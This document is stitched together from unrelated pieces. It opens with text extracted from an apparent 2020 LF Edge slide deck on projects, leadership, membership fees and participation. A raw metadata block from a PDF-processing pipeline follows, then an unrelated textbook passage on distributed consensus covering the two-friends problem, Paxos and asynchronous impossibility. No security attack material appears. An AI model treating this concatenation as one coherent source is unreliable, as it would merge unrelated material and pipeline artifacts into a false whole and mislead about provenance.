Eric Ball, IT Operations
support.linuxfoundation.org
**Key Resources**
Web Site
https://www.lfedge.org/
Wiki
https://wiki.lfedge.org/
Mail Lists
https://lists.lfedge.org/
Slack
https://slack.lfedge.org/
Technical Advisory Council (TAC):
https://wiki.lfedge.org/pages/viewpage.action?pageId=1671298
Outreach Committee/Marketing:
https://lists.lfedge.org/g/outreach-committee
LF Edge Elected Leadership
**Governing Board**
- Chair: Melissa Evers-Hood, Intel
- Treasurer: Tom Nadeau, Red Hat
- General Member Representatives:
- Cole Crawford, Vapor IO
- Jim Xu, Zenlayer
- Rob Hirschfeld, RackN
**Technical Advisory Council (TAC)**
- Chair: Jim St. Leger, Intel
**Outreach / Marketing Committee**
- Chair: Balaji Ethirajulu, Ericsson
LF Edge Project Leadership
Akraino
› TSC Chair / TAC Voting Member: Kandan Kathirvel, AT&T
› TSC Vice-Chair: Tina Tsou, Arm
Baetyl
› TSC Chair: Leding Li, Baidu
EdgeX Foundry
› TSC Chair: Jim White, IOTech
› TAC Voting Member: Henry Lau, HP Inc.
EVE
› TSC Chair: Erik Nordmark, ZEDEDA
Fledge
› TSC Chair: Mark Riddoch, Dianomic
Home Edge
› TSC Chair: Myeonggi Jeong (MJ), Samsung
Open Horizon
› TSC Chair: Joe Pearson, IBM
Secure Device Onboard
› TAC Representative: Rich Rodgers, Intel
State of the Edge
› TSC Chair: Matthew Trifiro, Vapor IO
› TSC Co-Chair: Jacob Smith, Packet
Introducing LF Edge
LF Edge – umbrella for Edge Projects
STAGE 3: IMPACT PROJECTS
Aims to create an open source software stack that supports high-availability cloud services optimized for edge computing systems and applications.
Highly flexible open source software framework that facilitates interoperability between heterogeneous devices and applications at the IoT Edge, along with a consistent foundation for security and manageability regardless of use case.
An open abstraction engine that simplifies the development, orchestration and security of cloud-native applications on distributed edge hardware. Supporting containers, VMs and unikernels, EVE provides a flexible foundation for Industrial and Enterprise IoT edge deployments with choice of hardware, applications and clouds.
Fledge is an open source framework and community for the Industrial Edge. Architected for rapid integration of any IIoT device, sensor or machine all using a common set of application, management and security REST APIs with existing industrial "brown field" systems and clouds.
Interoperable, flexible, and scalable edge computing services platform with a set of APIs that can also run with libraries and runtimes.
State of the Edge is an open source research and publishing project with an explicit goal of producing original research on edge computing, without vendor bias. The State of the Edge seeks to accelerate the edge computing industry by developing free, shareable research that can be used by all.
Baetyl offers a general-purpose platform for edge computing that manipulates different types of hardware facilities and device capabilities into a standardized container runtime environment and API, enabling efficient management of application, service, and data flow through a remote console both on cloud and on prem.
Open Horizon is a platform for managing the service software lifecycle of containerized workloads and related machine learning assets. It enables management of applications deployed to distributed webscale fleets of edge computing nodes and devices without requiring on-premise administrators.
Secure Device Onboard (SDO) is an automated “Zero-Touch” onboarding service.
Premier Members
[Logos of various companies]
LF Edge: Key Takeaways
1. Harmonizing Open Source Edge Communities across IOT, Enterprise, Cloud & Telecom
2. Keeping LF Edge Open & Interoperable with
› Hardware, Silicon, Cloud, OS, Protocol independence
› Bringing the best of telecom, cloud and enterprise – location, latency & mobility
› In collaboration with Consortiums/SDO (IIC, AECC, OEC, ETSI)
3. Hosted by the Linux Foundation similar to other Open Source Communities like CNCF (Kubernetes), LF Networking (ONAP) and many more.
LF Edge Governance
Board Committees (As Needed)
- Audit & Finance
- End User Advisory Group
- Compliance & Verification
Technical Advisory Council (TAC)
- Akraino TSC
- EdgeX TSC
- Home Edge TSC
- Project EVE TSC
- etc
Developer Communities
LF Edge Governing Board
- Strategy & Priorities
- Budget
- Marketing Strategy & Events
- Legal & overall governance
Outreach Committee
- WG project x
- WG project y
External Focus (SDO/OSS)
- Vertical Solutions focus (e.g., O&G, Retail, Industrial/Manuf, Home, Telecom, etc)
- Cross-project collaboration
- New Project Induction
- Developer Voice to GB
Annual Marketing Plan
- PR
- Events
- Content/Web
- Branding
- Market Development
**Summary**
1. Premier Member, Annual cost for LF Edge $50,000 (similar to Akraino)
2. Simplified EdgeX general category to match LF levels
3. Dues for existing projects will be credited towards LF Edge or any LF projects.
<table>
<thead>
<tr>
<th>Level</th>
<th>Not Yet LF Member</th>
<th>Already LF Member</th>
</tr>
</thead>
<tbody>
<tr>
<td>Premier</td>
<td>$70,000</td>
<td>$50,000</td>
</tr>
<tr>
<td>General</td>
<td>$45,000 (USD) 5,000 and above</td>
<td>$25,000 (USD) 5,000 and above</td>
</tr>
<tr>
<td></td>
<td>$30,000 (USD) From 500 to 4,999</td>
<td>$15,000 (USD) From 500 to 4,999</td>
</tr>
<tr>
<td></td>
<td>$20,000 (USD) From 100 to 499</td>
<td>$10,000 (USD) From 100 to 499</td>
</tr>
<tr>
<td></td>
<td>$7,500 (USD) Up to 99</td>
<td>$2,500 (USD) Up to 99</td>
</tr>
</tbody>
</table>
*LF Edge membership also requires companies to corporate members of The Linux Foundation (similar to Akaino and EdgeX Foundry). A discount of $5,000 to $20,000 is available for existing Linux Foundation members who join LF Edge.*
LF Edge Membership – the benefits
Premier
Influence Strategic Direction of LF Edge & its projects (as a Voting GB member)
› Budget Influence/approval, how and where the project spends money.
› Direct Influence on messaging, developer events, training
› Influence the marketing, messaging, and positioning to best represent the project for your uses
› Marketing Committee Voting Seat
Direct Interaction with Leadership – within LF and across peers
› Premium access to the project ED/VP to understand business goals
› Premium access to the Operations staff. IT, Marketing, Operations, Leadership
› Participate in any Cross project strategy discussions on harmonization and future direction of Edge
› LF Leadership support to Keynote member events, participate in outreach (eg roadshows, events, conference meet ups etc..)
Technical and Roadmap Direction Influence (through the technical community)
› TAC (Technical Advisory Council) voting seat
› Find like-minded companies/developers to build a coalition to get an idea accepted and prioritized by the community
› Aid the developers in actions they can take to improve their standing, position, and influence in the community, etc.
Brand Momentum – ability to show Leadership in Open Source which drives end user adoption and talent.
› Open Source Brand Affinity, prove to your customers that you are a leader in the project, hire talented software engineers
General
Learning and Engaging to create the largest Open Source Edge shared technology roadmap
› Work together across company lines and industries
› Participate in elected board seat process
Marketing & Thought Leadership
› Logo on the website once your membership has been announced. LF will support with quotes on Press releases related to the project
› Marketing Committee comprised of a representative from each Member company. General Members may appoint a representative as an observer of the Marketing Committee meetings on a non-voting basis. The objective of this Committee is shaping the marketing direction for edge. The Linux Foundation will do the heavy lifting, so this is more to oversee and shape the discussion/direction with the other Members for the Marketing efforts. This person can also funnel all Marketing information back to your organization so that the key stakeholders are in the loop.
› Participate in our hosted projects and attend our events, meetups, and roadshows
Technical Steering Committee & Technical Community
› TSC meetings are open to the public and we encourage all members of the technical community to participate in the discussion moving forward.
Get Involved in the LF Edge Technical Communities
› Participation in LF Edge Projects is open to all
› Getting involved in the technical communities is the best way to learn about the projects
› **Step 1:** Get a Linux Foundation ID Here: [https://identity.linuxfoundation.org/](https://identity.linuxfoundation.org/)
› **Step 2:** Visit LF Edge Wiki ([https://wiki.lfedge.org/](https://wiki.lfedge.org/))
› **Step 3:** Join workflows for the projects and working groups, subscribe to mailing lists, ask questions, contribute!
Way to participate:
› Attend project meetings
› Attend developer events
› Join approved projects
› Propose a project
› Write documentation
› Contribute use cases
› Analyze requirements
› Define tests / processes
› Review and submit code patches
› Build upstream relationships
› Contribute upstream code
› Provide feedback through VSFG
› Host and staff a community lab
› Answer questions
› Give a talk / training
› Create a demo
› Evangelize LFE and its projects
Join Us!
Contact Mike Woster, mwoster@linuxfoundation.org
LF Edge, bringing Edge initiatives together
IOT+Telecom+Cloud+Enterprise
Akraino
Brief Description
Akraino aims to create an open source software stack that supports high-availability cloud services optimized for edge computing systems and applications.
Contributed by
AT&T in February 2018
Key Contacts
Kandan Kathirvel, AT&T, TSC Chair, TAC Voting Member
Tina Tsou, Arm, TSC Vice-Chair
Key Links
Website https://www.lfedge.org/projects/akraino
Wiki https://wiki.akraino.org/
Gerrit https://gerrit.akraino.org/r/#/q/status:open
Documentation https://wiki.akraino.org/display/AK/Documentation
Mail Lists https://lists.akraino.org/g/main
Slack https://slack.lfedge.org/
(#akraino / #akraino-blueprints / #akraino-devprojects / #akraino-help / #akraino-tsc)
Technical Steering Committee (TSC)
Blueprints
https://wiki.akraino.org/pages/viewpage.action?pageId=1147243
Baetyl
Brief Description
Baetyl (pronounced “Beetle”) offers a general-purpose platform for edge computing that manipulates different types of hardware facilities and device capabilities into a standardized container runtime environment and API, enabling efficient management of application, service, and data flow through a remote console both on cloud and on prem. Baetyl also equips the edge operating system with the appropriate toolchain support, reduces the difficulty of developing edge calculations with a set of built-in services and APIs, and provides a graphical IDE in the future.
Contributed by
Baidu in August 2019
Key Contacts
Leding Li, Baidu, TSC Chair
Key Links
Website https://baetyl.io/
Wiki https://github.com/baetyl/baetyl/wiki
GitHub https://github.com/baetyl/baetyl
Documentation https://baetyl.io/en/docs/overview/What-is-Baetyl
Mail Lists https://lists.lfedge.org/g/main/subgroups
Slack https://slack.lfedge.org/ (#baetyl / #baetyl-tsc)
WeChat https://baetyl.cdn.bcebos.com/Wechat/Wechat-Baetyl.png
Technical Steering Committee (TSC)
https://github.com/baetyl/baetyl/wiki/Technical-Steering-Committee-(TSC)
EdgeX Foundry
Brief Description
EdgeX, your data liberated! Highly flexible open source software framework that facilitates interoperability between heterogeneous devices and applications at the IoT Edge, along with a consistent foundation for security and manageability regardless of use case.
Contributed by
Dell in April 2017
Key Contacts
Jim White, IOTech, TSC Chair
Henry Lau, HP Inc., TAC Voting Member
Key Links
Website https://www.lfedge.org/projects/edgexfoundry/
Wiki https://wiki.edgexfoundry.org/
GitHub https://github.com/edgexfoundry
Documentation https://docs.edgexfoundry.org/
Mail Lists https://lists.edgexfoundry.org/g/main/subgroups
Slack https://slack.edgexfoundry.org/
Getting Started Guide https://docs.edgexfoundry.org/1.2/getting-started/
Project EVE
Brief Description
An open abstraction engine that simplifies the development, orchestration and security of cloud-native applications on distributed edge hardware. Supporting containers, VMs and unikernels, EVE provides a flexible foundation for Industrial and Enterprise IoT edge deployments with choice of hardware, applications and clouds.
Contributed by
ZEDEDA in January 2019
Key Contacts
Erik Nordmark, ZEDEDA, TSC Chair
Key Links
Website https://www.lfedge.org/projects/eve/
Wiki https://wiki.lfedge.org/display/EVE/Project+EVE
GitHub https://github.com/lf-edge/eve
Documentation https://github.com/lf-edge/eve/tree/master/docs
Mail Lists https://lists.lfedge.org/g/eve-tsc
https://lists.lfedge.org/g/eve
Slack https://slack.lfedge.org/ (#eve / #eve-help)
Technical Steering Committee (TSC)
https://wiki.lfedge.org/display/EVE/TSC-Project+EVE+Technical+Steering+Committee
Fledge
**Brief Description**
Fledge is an open source framework and community for the Industrial Edge. Architected for rapid integration of any IIoT device, sensor or machine all using a common set of application, management and security REST APIs with existing industrial "brown field" systems and clouds.
**Contributed by**
Dianomic and OSIsoft in September 2019
**Key Contacts**
Mark Riddoch, Dianomic, TSC Chair
**Key Links**
- Website: https://www.lfedge.org/projects/fledge/
- Wiki: https://wiki.lfedge.org/display/FLEDGE/Fledge+Home
- GitHub: https://github.com/fledge-iot
- Documentation: https://fledge-iot.readthedocs.io/
- Mail Lists: https://lists.lfedge.org/g/fledge
https://lists.lfedge.org/g/fledge-tsc
- Slack: https://slack.lfedge.org/
(#fledge / #fledge-help / #fledge-tsc)
- Technical Steering Committee (TSC)
https://wiki.lfedge.org/pages/viewpage.action?pageId=10389276
- Quick Start Guide
Home Edge
Brief Description
Interoperable, flexible, and scalable edge computing services platform with a set of APIs that can also run with libraries and runtimes.
Contributed by
Samsung Electronics in June 2019
Key Contacts
Myeonggi Jeong (MJ), Samsung, TSC Chair
Key Links
Website https://www.lfedge.org/projects/homeedge/
Wiki https://wiki.lfedge.org/display/HOME/Home+Edge+Project
GitHub https://github.com/lf-edge/edge-home-orchestration-go
Mail Lists https://lists.lfedge.org/g/homeedge-tsc
Slack https://slack.lfedge.org/ (#homeedge / #homeedge-tsc)
Technical Steering Committee (TSC)
https://wiki.lfedge.org/pages/viewpage.action?pageId=1671336
Open Horizon
Brief Description
Open Horizon is a platform for managing the service software lifecycle of containerized workloads and related machine learning assets. It enables management of applications deployed to distributed webscale fleets of edge computing nodes and devices without requiring on-premise administrators.
Contributed by
IBM in April 2020
Key Contacts
Joe Pearson, IBM, TSC Chair
Key Links
Website https://www.lfedge.org/projects/openhorizon/
Wiki https://wiki.lfedge.org/display/OH/Open+Horizon
GitHub https://github.com/open-horizon
Mail Lists https://lists.lfedge.org/g/open-horizon
https://lists.lfedge.org/g/open-horizon-tsc
Slack https://slack.lfedge.org/ (#open-horizon / #open-horizon-help / #open-horizon-tsc)
Technical Steering Committee (TSC)
https://wiki.lfedge.org/display/OH/%28TSC%29+Technical+Steering+Committee
Secure Device Onboard
Brief Description
The mission of the Secure Device Onboard project is to develop open source software to support an automated “Zero-Touch” onboarding service in order to more securely and automatically onboard and provision a device on edge hardware. This zero-touch model simplifies the installer’s role, reduces costs and eliminates poor security practices, such as shipping default passwords.
Contributed by
Intel in June 2020
Key Contacts
Rich Rodgers, Intel
Key Links
Website https://www.lfedge.org/projects/securedeviceonboard/
Wiki https://wiki.lfedge.org/display/SDO/Secure+Device+Onboard
GitHub https://github.com/secure-device-onboard
Mail Lists https://lists.lfedge.org/g/SDO
https://lists.lfedge.org/g/SDO-TSC
Slack https://slack.lfedge.org/ (#sdo-general / #sdo-help / #sdo-tsc)
State of the Edge
Brief Description
State of the Edge is an open source research and publishing project with an explicit goal of producing original research on edge computing, without vendor bias. The State of the Edge seeks to accelerate the edge computing industry by developing free, shareable research that can be used by all.
Contributed by
Vapor IO and Packet
Glossary - June 2018
SOTE - April 2020
Key Contacts
Matthew Trifiro, Vapor IO, TSC Chair
Jacob Smith, Packet, TSC Co-Chair
Key Links
Website: https://www.lfedge.org/projects/stateoftheedge/
Wiki: https://wiki.lfedge.org/display/GLOSSARY/State+of+the+Edge
GitHub: https://github.com/State-of-the-Edge
Mail Lists: https://lists.lfedge.org/g/stateoftheedge
https://lists.lfedge.org/g/glossary-tsc
Slack: https://slack.lfedge.org/
(#glossary / #glossary-landscape / #glossary-taxonomy / #glossary-tsc)
Landscape: https://landscape.lfedge.org/
State of the Edge Reports: https://www.stateoftheedge.com/reports/
Open Glossary of Edge Computing: https://github.com/State-of-the-Edge/glossary
Getting Involved with LF Edge Projects and Committees
## How Members Engage: LF Edge Marketing and PR
<table>
<thead>
<tr>
<th>Co-promotion of project related updates, releases, and news via LF Edge social media accounts</th>
<th>Attend Outreach Committee meetings and participate in LF Edge driven marketing and outreach activities</th>
<th>Publish use cases, case studies, white papers, and deployment insights</th>
<th>Marketing and PR support for demos at meetups and events</th>
</tr>
</thead>
<tbody>
<tr>
<td>Host vendor neutral content via LF Edge blog site</td>
<td>Get support for artwork, web site, content creation, etc., related to LF Edge and its projects</td>
<td>Be featured in the LF Edge Member Spotlight series</td>
<td>Coordination at events – speaking proposals, booth attendance, demos, etc.</td>
</tr>
<tr>
<td>Volunteer for planning initiatives such as developing annual marketing plan, preparing for major event, etc.</td>
<td>Identify LF Edge speaking opportunities in your region and help secure speakers from the LF Edge community</td>
<td>Help secure user stories about LF Edge based deployments.</td>
<td>Participate on the LF Edge Speakers Bureau</td>
</tr>
</tbody>
</table>
# How Members Engage: LF Edge Technical Projects
<table>
<thead>
<tr>
<th>Participate in the development efforts: Review and submit code patches, report bugs, request new features, etc.</th>
<th>Attend developer events for LF Edge projects</th>
<th>Contribute to documentation</th>
<th>Provide your testing and deployment feedback via appropriate project channels</th>
</tr>
</thead>
<tbody>
<tr>
<td>Join the projects’ mailing lists and participate in the discussions</td>
<td>Start a local User Group Meetup</td>
<td>Join the LF Edge Technical Advisory Council (TAC) calls and subscribe to the TAC mailing list</td>
<td>Contribute to the Open Glossary of Edge Computing</td>
</tr>
</tbody>
</table>
# How Members Engage: Technical Advisory Council (TAC)
| Support TAC leadership in inviting speakers | **Attend TAC**
| Bi-weekly calls, participate in the discussion, volunteer |
| Share success stories, opportunities and challenges with the broader technical community to seek input from peers | Identify opportunities for collaboration on common interests and initiatives |
| Support technical leadership for harmonization efforts with other open source communities within and beyond LF Edge | Support TAC in hosting and sponsors intra-project and inter-project in-person developer events for LF Edge projects |
| Support TAC Chair who works with the Governing Board to highlight the Projects’ collective opportunities and any resource needs | **Support TAC in evaluating new projects for inclusion in LF Edge** |
Display Your LF Edge Membership Badge
These badges are available (svg and png) from the LF Edge GitHub: https://github.com/lf-edge/artwork
Members can display membership badges on booth collateral and on their website.
LF Edge Members showcased on LF Edge and Linux Foundation websites, as well as the new LF Edge Landscape
Join the LF Edge Speakers Bureau (Member Benefit)
The LF Edge Speakers Bureau connects speakers who are LF Edge ambassadors who are willing to speak at events on the topics they are proficient in with event managers, meetup organizers and company conferences. Event organizers work directly with the LF Edge PR and Marketing team to secure speakers for their global events.
LF Edge Members: Sign up to be a Speaker today!
› Step 1: Fill out form
› If you have trouble accessing the form above, email pr@lfedge.org for assistance
› Step 2: Send your photo to pr@lfedge.org
Enhance Your Open Source Knowledge
Free Courses
› A Beginner’s Guide to Open Source Software Development
› Compliance Basics for Developers
› Fundamentals of Professional Open Source Management
Paid Courses
› Introduction to Open Source Development, Git, and Linux
› DevOps for Network Engineers
Upcoming External Events
- **DevOps World**: 22-24 September, 2020 - Virtual
- Featuring presentations about EdgeX Foundry
- **Open Networking & Edge Summit North America**: 28-30 September, 2020 - Virtual
- Demo pavilion and multiple sessions across LF Edge Projects
- **Edge Computing World**: 12-15 October, 2020 - Virtual
- **Open Source Summit Europe**: 26-29 October, 2020 - Virtual
- **KubeCon/CloudNativeCon North America**: 17-20 November, 2020 - Virtual
- **Open Source Summit Japan**: 2-4 December, 2020 - Virtual
- **IoT Solutions World Congress**: 11-13 May, 2021 - Barcelona, Spain
Discussions around upcoming events occur in the LF Edge Outreach Committee
Members may subscribe at: [https://lists.lfedge.org/g/outreach-committee](https://lists.lfedge.org/g/outreach-committee)
LF Edge Webinar Series
› State of the Edge
› State of the Edge: Exploring the Intersection of IoT, AI, 5G and Edge Computing
› Scheduled for Thursday, September 17 @ 9am PT
› RSVP at https://zoom.us/webinar/register/ WN_4rt-Mmp1Rl6Vkzn3ULpiAA
› Akraino Edge Stack
› Your Path to Edge Computing with Akraino Edge Stack
› Held Thursday, April 2
› On-demand recording available at: https://zoom.us/webinar/register/ WN_Zjdo4-5fTQSlqH7pl8iHrQ
› EdgeX Foundry
› EdgeX Foundry 101: Intro, Roadmap and Use Cases
› Held Thursday, April 23
› On-demand recording available at: https://zoom.us/webinar/register/4515850788014/ WN_xCd6YPjEQrCwLjFhBWPKug
› Project EVE
› Building the “Android of the IoT Edge”
› Held Friday, May 29
› On-demand recording available at: https://zoom.us/webinar/register/6415888722675/ WN_35oZj3hrQE69snMajiUTPg
› White Paper
› Held Thursday, July 9 - Demystifying the Edge with the new LF Edge Taxonomy and Framework
› On-demand recording available at: https://zoom.us/webinar/register/ WN_icy5h6wFTcuw9O0xMpgLw
› Fledge
› Held Thursday, August 13 - How Google, OSIsoft, FLIR and Dianomic use Fledge to implement Industrial 4.0
› On-demand recording available at: https://www.youtube.com/watch?v=6jXNv3AIWog
› More to follow...
Upcoming Project Events
- **EdgeX Challenge Shanghai 2020**
- Launch Date: July 3rd, 2020 / End Date: October, 2020
- Location: Shanghai + Online
- Organizer: Linux Foundation APAC and Science & Technology Commission (STCSM) of Shanghai Municipal Government
- Sponsors: Intel, VMware, InnoSpace, Dell Technologies, Thundersoft
- Supporting Organizations: CCFA (China Chain Store & Franchise Association), Tencent, IOTech
- Tracks:
- **Commercial (Retail, Hospitality, Banking, Education, etc.)**
- Using EdgeX, based on IOT, AI and data analysis technologies, build innovative applications related to consumer, merchandise, and store.
- Use EdgeX to build multi-sensor correlated IoT applications.
- Use EdgeX to build applications beneficial to defeat COVID-19.
- Combine EdgeX with 5G, blockchain or service robot to build innovative applications
- **Industrial (Factories, Power, Oil/Gas, Utilities)**
- For the multi-edge node scenario, build an SDN + containerized IT solution based on EdgeX
- In discrete or process (with lower latency requirements) manufacturing, use EdgeX to achieve low latency fault detection and response on the production line
- In Discrete Manufacturing, use EdgeX to Detect Product Defects Online
- Using EdgeX to collect data, proceed with energy management of electric/gas/coal/oil, to improve energy efficiency. (Such as: building a thermodynamic model, completing heat meter data collection and automatic valve opening control to optimize heating efficiency)
- Using EdgeX to realize remote unmanned monitoring of multiple data sources and automatic control of the on-site environment.
Projects can add their events to this list by sending the Wiki page listing the information to info@lfedge.org
Linux Foundation edX and Training Courses
› Business Considerations for Edge Computing: https://www.edx.org/course/business-considerations-for-edge-computing
› Getting Started with EdgeX Foundry (LFD213): https://training.linuxfoundation.org/training/getting-started-with-edgex-foundry-lfd213/
Stay Connected for the Latest Updates
@LF_Edge
https://twitter.com/Lf_edge
https://www.youtube.com/channel/UCY7H1oSt8gvXNdXH9wrNq5Q
LF Edge
(www.lfedge.org)
Bringing Edge Initiatives Together
IOT | Telecom | Cloud | Enterprise
|
{"Source-Url": "https://www.lfedge.org/wp-content/uploads/2020/09/Getting-Involved-with-LF-Edge-sep2020.pdf", "len_cl100k_base": 6446, "olmocr-version": "0.1.50", "pdf-total-pages": 42, "total-fallback-pages": 0, "total-input-tokens": 54750, "total-output-tokens": 8112, "length": "2e12", "weborganizer": {"__label__adult": 0.00034880638122558594, "__label__art_design": 0.0008521080017089844, "__label__crime_law": 0.0004553794860839844, "__label__education_jobs": 0.003721237182617187, "__label__entertainment": 0.00023627281188964844, "__label__fashion_beauty": 0.0002435445785522461, "__label__finance_business": 0.01078033447265625, "__label__food_dining": 0.0004153251647949219, "__label__games": 0.0011234283447265625, "__label__hardware": 0.0103607177734375, "__label__health": 0.0005955696105957031, "__label__history": 0.0005631446838378906, "__label__home_hobbies": 0.0003662109375, "__label__industrial": 0.002166748046875, "__label__literature": 0.0002524852752685547, "__label__politics": 0.000728607177734375, "__label__religion": 0.00049591064453125, "__label__science_tech": 0.3583984375, "__label__social_life": 0.00023484230041503904, "__label__software": 0.09130859375, "__label__software_dev": 0.51513671875, "__label__sports_fitness": 0.0002541542053222656, "__label__transportation": 0.0007572174072265625, "__label__travel": 0.000244140625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 26512, 0.01366]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 26512, 0.01158]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 26512, 0.80238]], "google_gemma-3-12b-it_contains_pii": [[0, 74, false], [74, 243, null], [243, 988, null], [988, 1357, null], [1357, 1946, null], [1946, 1966, null], [1966, 1966, null], [1966, 2413, null], [2413, 3451, null], [3451, 4144, null], [4144, 4190, null], [4190, 4190, null], [4190, 4690, null], [4690, 5373, null], [5373, 6452, null], [6452, 9060, null], [9060, 10056, null], [10056, 10190, null], [10190, 10190, null], [10190, 11049, null], [11049, 12197, null], [12197, 13077, null], [13077, 13990, null], [13990, 14978, null], [14978, 15645, null], [15645, 16514, null], [16514, 17353, null], [17353, 18416, null], [18416, 18470, null], [18470, 19480, null], [19480, 20075, null], [20075, 20895, null], [20895, 21116, null], [21116, 21221, null], [21221, 21798, null], [21798, 22096, null], [22096, 22894, null], [22894, 24178, null], [24178, 25986, null], [25986, 26282, null], [26282, 26416, null], [26416, 26512, null]], "google_gemma-3-12b-it_is_public_document": [[0, 74, true], [74, 243, null], [243, 988, null], [988, 1357, null], [1357, 1946, null], [1946, 1966, null], [1966, 1966, null], [1966, 2413, null], [2413, 3451, null], [3451, 4144, null], [4144, 4190, null], [4190, 4190, null], [4190, 4690, null], [4690, 5373, null], [5373, 6452, null], [6452, 9060, null], [9060, 10056, null], [10056, 10190, null], [10190, 10190, null], [10190, 11049, null], [11049, 12197, null], [12197, 13077, null], [13077, 13990, null], [13990, 14978, null], [14978, 15645, null], [15645, 16514, null], [16514, 17353, null], [17353, 18416, null], [18416, 18470, null], [18470, 19480, null], [19480, 20075, null], [20075, 20895, null], [20895, 21116, null], [21116, 21221, null], [21221, 21798, null], [21798, 22096, null], [22096, 22894, null], [22894, 24178, null], [24178, 25986, null], [25986, 26282, null], [26282, 26416, null], [26416, 26512, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 26512, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 26512, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 26512, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 26512, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 26512, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 26512, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 26512, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 26512, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 26512, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 26512, null]], "pdf_page_numbers": [[0, 74, 1], [74, 243, 2], [243, 988, 3], [988, 1357, 4], [1357, 1946, 5], [1946, 1966, 6], [1966, 1966, 7], [1966, 2413, 8], [2413, 3451, 9], [3451, 4144, 10], [4144, 4190, 11], [4190, 4190, 12], [4190, 4690, 13], [4690, 5373, 14], [5373, 6452, 15], [6452, 9060, 16], [9060, 10056, 17], [10056, 10190, 18], [10190, 10190, 19], [10190, 11049, 20], [11049, 12197, 21], [12197, 13077, 22], [13077, 13990, 23], [13990, 14978, 24], [14978, 15645, 25], [15645, 16514, 26], [16514, 17353, 27], [17353, 18416, 28], [18416, 18470, 29], [18470, 19480, 30], [19480, 20075, 31], [20075, 20895, 32], [20895, 21116, 33], [21116, 21221, 34], [21221, 21798, 35], [21798, 22096, 36], [22096, 22894, 37], [22894, 24178, 38], [24178, 25986, 39], [25986, 26282, 40], [26282, 26416, 41], [26416, 26512, 42]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 26512, 0.04072]]}
|
olmocr_science_pdfs
|
2024-11-28
|
2024-11-28
|
1122258a67597dbe8ec8781eef8279c147676298
|
Chapter 2
Consensus
2.1 Two Friends
Alice wants to arrange dinner with Bob, and since both of them are very reluctant to use the “call” functionality of their phones, she sends a text message suggesting to meet for dinner at 6pm. However, texting is unreliable, and Alice cannot be sure that the message arrives at Bob’s phone, hence she will only go to the meeting point if she receives a confirmation message from Bob. But Bob cannot be sure that his confirmation message is received; if the confirmation is lost, Alice cannot determine if Bob did not even receive her suggestion, or if Bob’s confirmation was lost. Therefore, Bob demands a confirmation message from Alice, to be sure that she will be there. But as this message can also be lost...
You can see that such a message exchange continues forever, if both Alice and Bob want to be sure that the other person will come to the meeting point!
Remarks:
• Such a protocol cannot terminate: Assume that there are protocols which lead to agreement, and $P$ is one of the protocols which require the least number of messages. As the last confirmation might be lost and the protocol still needs to guarantee agreement, we can simply decide to always omit the last message. This gives us a new protocol $P'$ which requires less messages than $P$, contradicting the assumption that $P$ required the minimal amount of messages.
• Can Alice and Bob use Paxos?
2.2 Consensus
In Chapter 1 we studied a problem that we vaguely called agreement. We will now introduce a formally specified variant of this problem, called consensus.
Definition 2.1 (consensus). There are $n$ nodes, of which at most $f$ might crash, i.e., at least $n - f$ nodes are correct. Node $i$ starts with an input value $v_i$. The nodes must decide for one of those values, satisfying the following properties:
• Agreement All correct nodes decide for the same value.
• Termination All correct nodes terminate in finite time.
• Validity The decision value must be the input value of a node.
Remarks:
• We assume that every node can send messages to every other node, and that we have reliable links, i.e., a message that is sent will be received.
• There is no broadcast medium. If a node wants to send a message to multiple nodes, it needs to send multiple individual messages.
• Does Paxos satisfy all three criteria? If you study Paxos carefully, you will notice that Paxos does not guarantee termination. For example, the system can be stuck forever if two clients continuously request tickets, and neither of them ever manages to acquire a majority.
2.3 Impossibility of Consensus
Model 2.2 (asynchronous). In the asynchronous model, algorithms are event based (“upon receiving message ..., do ...”). Nodes do not have access to a synchronized wall-clock. A message sent from one node to another will arrive in a finite but unbounded time.
Remarks:
• The asynchronous time model is a widely used formalization of the variable message delay model (Model 1.6).
Definition 2.3 (asynchronous runtime). For algorithms in the asynchronous model, the runtime is the number of time units from the start of the execution to its completion in the worst case (every legal input, every execution scenario), assuming that each message has a delay of at most one time unit.
Remarks:
• The maximum delay cannot be used in the algorithm design, i.e., the algorithm must work independent of the actual delay.
• Asynchronous algorithms can be thought of as systems, where local computation is significantly faster than message delays, and thus can be done in no time. Nodes are only active once an event occurs (a message arrives), and then they perform their actions “immediately”.
• We will show now that crash failures in the asynchronous model can be quite harsh. In particular there is no deterministic fault-tolerant consensus algorithm in the asynchronous model, not even for binary input.
2.3. IMPOSSIBILITY OF CONSENSUS
Definition 2.4 (configuration). We say that a system is fully defined (at any point during the execution) by its configuration \( C \). The configuration includes the state of every node, and all messages that are in transit (sent but not yet received).
Definition 2.5 (univalent). We call a configuration \( C \) univalent, if the decision value is determined independently of what happens afterwards.
Remarks:
- We call a configuration that is univalent for value \( v \) \( v \)-valent.
- Note that a configuration can be univalent, even though no single node is aware of this. For example, the configuration in which all nodes start with value 0 is 0-valent (due to the validity requirement).
- As we restricted the input values to be binary, the decision value of any consensus algorithm will also be binary (due to the validity requirement).
Definition 2.6 (bivalent). A configuration \( C \) is called bivalent if the nodes might decide for 0 or 1.
Remarks:
- The decision value depends on the order in which messages are received or on crash events. I.e., the decision is not yet made.
- We call the initial configuration of an algorithm \( C_0 \). When nodes are in \( C_0 \), all of them executed their initialization code and possibly sent some messages, and are now waiting for the first message to arrive.
